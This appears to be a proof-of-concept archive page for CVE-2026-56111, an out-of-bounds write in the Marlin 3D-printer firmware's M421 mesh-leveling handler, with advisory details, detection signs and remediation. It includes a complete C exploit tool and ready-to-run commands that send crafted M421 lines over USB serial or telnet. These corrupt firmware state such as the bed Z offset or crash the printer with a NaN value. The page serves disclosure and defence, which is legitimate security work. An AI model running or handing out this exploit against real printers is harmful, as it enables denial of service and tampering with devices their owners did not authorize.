PoC Archive PoC Archive
High CVE-2026-56111 patched

Marlin Firmware M421 G-code Handler Out-of-Bounds Write — CVE-2026-56111

by Christ Bouchuen (github.com/Christbowel) · 2026-07-05

CVSS 8.3/10
Severity
High
CVE
CVE-2026-56111
Category
hardware
Affected product
Marlin Firmware (3D printer firmware), builds compiled with MESH_BED_LEVELING
Affected versions
<= 2.1.2.7 (fixed in commit 1f255d1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last UpdatedUnknown
Author / ResearcherChrist Bouchuen (github.com/Christbowel)
CVE / AdvisoryCVE-2026-56111
Categoryhardware
SeverityHigh
CVSS Score8.3
StatusPoC
Tagsmarlin, 3d-printer, firmware, g-code, out-of-bounds-write, mesh-bed-leveling, denial-of-service, embedded
RelatedN/A

Affected Target

FieldValue
Software / SystemMarlin Firmware (3D printer firmware), builds compiled with MESH_BED_LEVELING
Versions Affected<= 2.1.2.7 (fixed in commit 1f255d1)
Language / PlatformEmbedded C/C++ firmware (AVR/ARM microcontrollers); PoC written in C
Authentication RequiredNo (G-code interfaces on serial/telnet typically have no authentication)
Network Access RequiredNo — reachable via USB serial connection or, for network-exposed printers, TCP/telnet G-code interface

Summary

Marlin’s M421 G-code handler, used to set Mesh Bed Leveling (MBL) grid points, validates only that the supplied I/J grid indices are non-negative and never checks the upper bound against the actual mesh grid size. The underlying set_z() function then writes the supplied Z float value directly to z_values[ix][iy] with no bounds check, allowing an out-of-range index to write a controlled 32-bit float value to memory beyond the z_values array — into adjacent firmware state such as z_offset or the G-code parser object. The included PoC sends raw M421 commands over serial or TCP to demonstrate both a targeted, constrained write (e.g. corrupting the bed Z offset) and a reliable denial-of-service crash via a NaN value.


Vulnerability Details

Root Cause

The M421 MBL handler checks only that the I/J indices are non-negative (int8_t, so bounded to 0-127) but never validates them against the actual configured grid dimensions (e.g. a 3x3 grid). set_z() then performs an unchecked write z_values[ix][iy] = z, allowing writes up to roughly 2KB past the z_values array. The write’s value (the Z float) and offset (via the index) are attacker-controlled, but not an arbitrary absolute address — it is a constrained, not fully arbitrary, out-of-bounds write.

Attack Vector

  1. Attacker obtains a G-code channel to the target printer — a direct USB serial connection, or a network-exposed telnet/TCP G-code interface.
  2. Attacker sends an M421 command with grid indices exceeding the configured mesh dimensions (e.g. I3 J0 on a 3x3 grid) and a chosen Z float value.
  3. The firmware writes that value past the intended z_values array boundary into adjacent structures (e.g. z_offset, the parser object, or GcodeSuite state), corrupting firmware behavior.
  4. Alternatively, sending an out-of-range index with a NaN Z value propagates the NaN into motion-planning math, reliably crashing or hanging the firmware (denial of service).

Impact

Denial of service (firmware crash/hang) or corruption of firmware state such as the bed Z offset via a constrained out-of-bounds write, on any Marlin build with MESH_BED_LEVELING enabled. No demonstrated arbitrary code execution — the reachable memory window is limited to roughly 2KB past the target array.


Environment / Lab Setup

Target:   3D printer running Marlin Firmware <= 2.1.2.7 built with MESH_BED_LEVELING,
          reachable via USB serial (e.g. /dev/ttyUSB0, /dev/ttyACM0) or network G-code/telnet (e.g. host:23)
Attacker: gcc (C99), Linux host with a serial or TCP connection to the target

Proof of Concept

PoC Script

See exploit.c in this folder. Build with gcc -O2 -o exp exploit.c.

1
2
3
4
5
./exp --serial /dev/ttyUSB0 write -i 3 -j 0 -z 99.0   # writes to z_offset (offset 36 bytes)
./exp --tcp 192.168.1.50:23  write -i 5 -j 0 -z 99.0  # writes to the parser object (offset 60 bytes)

./exp --serial /dev/ttyUSB0 dos
./exp --tcp 192.168.1.50:23  dos

The tool only sends the crafted M421 G-code line over the selected channel (serial or TCP); the out-of-bounds write itself happens inside the firmware. write mode lets the operator pick the index/value to corrupt a specific offset (e.g. the bed Z offset), while dos mode sends an out-of-range index with a NaN Z value that reliably crashes or hangs the printer’s motion firmware.


Detection & IOCs

Signs of compromise:

  • M421 G-code commands observed with I/J index values outside the printer’s configured mesh grid bounds
  • Unexpected changes to the bed Z offset or erratic print quality with no corresponding user action
  • Printer firmware crashes, hangs, or unexpected reboots correlating with received G-code traffic

Remediation

ActionDetail
Primary fixUpdate Marlin Firmware to a build including commit 1f255d1, which adds the missing upper-bound index checks to the M421 handler (matching the existing ABL/UBL handlers)
Interim mitigationRestrict access to the printer’s G-code interface (physical USB access only, or firewall/isolate network-exposed telnet/TCP G-code ports); avoid exposing 3D printer control interfaces directly to untrusted networks

References


Notes

Mirrored from https://github.com/Christbowel/CVE-2026-56111 on 2026-07-05.

exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
/*
 * PoC for CVE-2026-56111
 * Marlin Firmware <= 2.1.2.7 - Out-of-bounds write via the M421 G-code handler
 * (Mesh Bed Leveling). Fixed in commit 1f255d1.
 *
 * The M421 MBL handler checks only that the I/J indices are not negative. It does
 * not check the upper bound. set_z() then writes z_values[ix][iy] = z with no bound
 * check. An index past the grid writes a controlled 32-bit float past the z_values
 * array, into adjacent firmware state (z_offset, the parser object, GcodeSuite state).
 *
 * This tool only sends the G-code line. The out-of-bounds write happens inside the
 * firmware. The write is CONSTRAINED, not arbitrary: the target offset is
 * z_values + (ix*GRID_Y + iy)*4 bytes, with ix/iy bounded by int8_t (max 127), so the
 * reachable window is about 2 KB past z_values. You control the value (the Z float)
 * and the offset (the index). You do NOT control an absolute address.
 *
 * Two modes:
 *   write : send M421 with the I/J/Z you choose (controlled value, controlled offset)
 *   dos   : send an out-of-range index with a NaN Z value, which propagates into the
 *           motion math and reliably crashes or hangs the firmware
 *
 * Two channels:
 *   --serial <device>   e.g. /dev/ttyUSB0 or /dev/ttyACM0 (USB, the common case)
 *   --tcp <host:port>   e.g. 192.168.1.50:23 (printers exposing telnet/network gcode)
 *
 * Build:  gcc -O2 -o exp exploit.c
 *
 * Use only on devices you own or are authorized to test.
 *
 * Author: Christ Bouchuen
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <errno.h>
#include <stdint.h>

#include <sys/socket.h>
#include <netdb.h>

static void usage(const char *p) {
    fprintf(stderr,
"PoC for CVE-2026-56111 (Marlin M421 out-of-bounds write)\n\n"
"Usage:\n"
"  %s (--serial <dev> [--baud N] | --tcp <host:port>) <mode> [mode args]\n\n"
"Channels:\n"
"  --serial <dev>     serial device, e.g. /dev/ttyUSB0 or /dev/ttyACM0\n"
"  --baud N           serial baud rate (default 115200; many boards use 250000)\n"
"  --tcp <host:port>  TCP target, e.g. 192.168.1.50:23\n\n"
"Modes:\n"
"  write -i IX -j IY -z VALUE\n"
"        send 'M421 I<IX> J<IY> Z<VALUE>'. With an out-of-range IX/IY this writes\n"
"        VALUE past z_values. Offset = z_values + (IX*GRID_Y + IY)*4 bytes.\n"
"        Example (3x3 grid, valid max index 2):\n"
"          %s --serial /dev/ttyUSB0 write -i 3 -j 0 -z 99.0   (hits z_offset)\n"
"          %s --serial /dev/ttyUSB0 write -i 5 -j 0 -z 99.0   (hits parser object)\n\n"
"  dos\n"
"        send 'M421 I120 J120 Z<NaN>'. The NaN propagates into the motion math and\n"
"        reliably crashes or hangs the firmware.\n\n"
"Use only on devices you own or are authorized to test.\n",
    p, p, p);
}

/* ---- serial channel ---- */
static int open_serial(const char *dev, int baud) {
    int fd = open(dev, O_RDWR | O_NOCTTY | O_SYNC);
    if (fd < 0) { perror("open serial"); return -1; }

    struct termios t;
    if (tcgetattr(fd, &t) != 0) { perror("tcgetattr"); close(fd); return -1; }

    speed_t s;
    switch (baud) {
        case 9600:   s = B9600;   break;
        case 19200:  s = B19200;  break;
        case 38400:  s = B38400;  break;
        case 57600:  s = B57600;  break;
        case 115200: s = B115200; break;
        case 230400: s = B230400; break;
#ifdef B250000
        case 250000: s = B250000; break;
#endif
#ifdef B500000
        case 500000: s = B500000; break;
#endif
        default:
            fprintf(stderr, "unsupported baud %d, using 115200\n", baud);
            s = B115200; break;
    }
    cfsetospeed(&t, s);
    cfsetispeed(&t, s);

    t.c_cflag = (t.c_cflag & ~CSIZE) | CS8;   /* 8 data bits          */
    t.c_cflag |= (CLOCAL | CREAD);            /* local, enable read   */
    t.c_cflag &= ~(PARENB | PARODD);          /* no parity            */
    t.c_cflag &= ~CSTOPB;                     /* 1 stop bit           */
    t.c_cflag &= ~CRTSCTS;                    /* no hw flow control   */
    cfmakeraw(&t);                            /* raw mode             */

    if (tcsetattr(fd, TCSANOW, &t) != 0) { perror("tcsetattr"); close(fd); return -1; }
    return fd;
}

/* ---- tcp channel ---- */
static int open_tcp(const char *hostport) {
    char buf[256];
    strncpy(buf, hostport, sizeof(buf) - 1);
    buf[sizeof(buf) - 1] = 0;

    char *colon = strrchr(buf, ':');
    if (!colon) { fprintf(stderr, "tcp target must be host:port\n"); return -1; }
    *colon = 0;
    const char *host = buf;
    const char *port = colon + 1;

    struct addrinfo hints, *res, *rp;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family   = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;

    int err = getaddrinfo(host, port, &hints, &res);
    if (err) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(err)); return -1; }

    int fd = -1;
    for (rp = res; rp; rp = rp->ai_next) {
        fd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
        if (fd < 0) continue;
        if (connect(fd, rp->ai_addr, rp->ai_addrlen) == 0) break;
        close(fd); fd = -1;
    }
    freeaddrinfo(res);
    if (fd < 0) { fprintf(stderr, "could not connect to %s\n", hostport); return -1; }
    return fd;
}

static int send_line(int fd, const char *line) {
    size_t len = strlen(line);
    ssize_t n = write(fd, line, len);
    if (n < 0 || (size_t)n != len) { perror("write"); return -1; }
    printf("sent: %s", line);
    return 0;
}

int main(int argc, char **argv) {
    const char *serial_dev = NULL;
    const char *tcp_target = NULL;
    int baud = 115200;

    /* parse channel */
    int i = 1;
    for (; i < argc; i++) {
        if (!strcmp(argv[i], "--serial") && i + 1 < argc) { serial_dev = argv[++i]; }
        else if (!strcmp(argv[i], "--baud") && i + 1 < argc) { baud = atoi(argv[++i]); }
        else if (!strcmp(argv[i], "--tcp") && i + 1 < argc) { tcp_target = argv[++i]; }
        else break; /* mode starts here */
    }

    if ((!serial_dev && !tcp_target) || i >= argc) { usage(argv[0]); return 2; }
    if (serial_dev && tcp_target) {
        fprintf(stderr, "choose one channel: --serial OR --tcp\n"); return 2;
    }

    const char *mode = argv[i++];
    char line[128];

    if (!strcmp(mode, "write")) {
        int ix = 0, iy = 0; double z = 0.0; int have_i = 0, have_j = 0, have_z = 0;
        for (; i < argc; i++) {
            if (!strcmp(argv[i], "-i") && i + 1 < argc) { ix = atoi(argv[++i]); have_i = 1; }
            else if (!strcmp(argv[i], "-j") && i + 1 < argc) { iy = atoi(argv[++i]); have_j = 1; }
            else if (!strcmp(argv[i], "-z") && i + 1 < argc) { z = atof(argv[++i]); have_z = 1; }
            else { fprintf(stderr, "unknown write arg: %s\n", argv[i]); return 2; }
        }
        if (!have_i || !have_j || !have_z) {
            fprintf(stderr, "write needs -i IX -j IY -z VALUE\n"); return 2;
        }
        snprintf(line, sizeof(line), "M421 I%d J%d Z%g\n", ix, iy, z);
    }
    else if (!strcmp(mode, "dos")) {
        /* NaN literal for the Z value; firmware parses it into the motion math */
        snprintf(line, sizeof(line), "M421 I120 J120 Z%s\n", "nan");
    }
    else {
        fprintf(stderr, "unknown mode: %s\n", mode); usage(argv[0]); return 2;
    }

    int fd = serial_dev ? open_serial(serial_dev, baud) : open_tcp(tcp_target);
    if (fd < 0) return 1;

    int rc = send_line(fd, line);

    /* give the firmware a moment, then read whatever it echoes back */
    usleep(200000);
    char rx[512];
    ssize_t r = read(fd, rx, sizeof(rx) - 1);
    if (r > 0) { rx[r] = 0; printf("recv: %s\n", rx); }

    close(fd);
    return rc ? 1 : 0;
}